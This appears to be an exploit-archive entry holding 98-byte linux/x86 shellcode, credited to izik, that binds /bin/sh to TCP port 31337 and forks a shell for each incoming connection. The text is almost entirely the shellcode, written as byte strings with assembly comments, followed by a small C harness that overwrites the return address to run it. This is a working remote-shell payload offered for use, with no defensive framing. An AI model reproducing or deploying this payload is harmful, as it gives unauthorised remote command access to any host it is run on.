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linux/x86 Bind /bin/sh to 31337/tcp + fork() 98 bytes
[=====================================================
linux/x86 Bind /bin/sh to 31337/tcp + fork() 98 bytes
=====================================================
/*
* (linux/x86) bind '/bin/sh' to 31337/tcp + fork() - 98 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"\x6a\x66" // push $0x66
"\x58" // pop %eax
"\x99" // cltd
"\x6a\x01" // push $0x1
"\x5b" // pop %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x6a\x02" // push $0x2
//
// <_doint>:
//
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x5b" // pop %ebx
"\x5d" // pop %ebp
"\x52" // push %edx
"\x66\xbd\x69\x7a" // mov $0x7a69,%bp (0x7a69 = 31337)
"\x0f\xcd" // bswap %ebp
"\x09\xdd" // or %ebx,%ebp
"\x55" // push %ebp
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\xb3\x04" // mov $0x4,%bl
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
//
// <_acceptloop>:
//
"\x5f" // pop %edi
"\x50" // push %eax
"\x50" // push %eax
"\x57" // push %edi
"\x89\xe1" // mov %esp,%ecx
"\x43" // inc %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchg %eax,%ebx
"\xb0\x02" // mov $0x2,%al
"\xcd\x80" // int $0x80
"\x85\xc0" // test %eax,%eax
"\x75\x1a" // jne <_parent>
"\x59" // pop %ecx
//
// <_dup2loop>:
//
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x49" // dec %ecx
"\x79\xf9" // jns <_dup2loop>
"\xb0\x0b" // mov $0xb,%al
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\xeb\xb2" // jmp <_doint>
//
// <_parent>:
//
"\x6a\x06" // push $0x6
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\xb3\x04" // mov $0x4,%bl
"\xeb\xc9"; // jmp <_acceptloop>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
# 0day.today [2024-12-24] #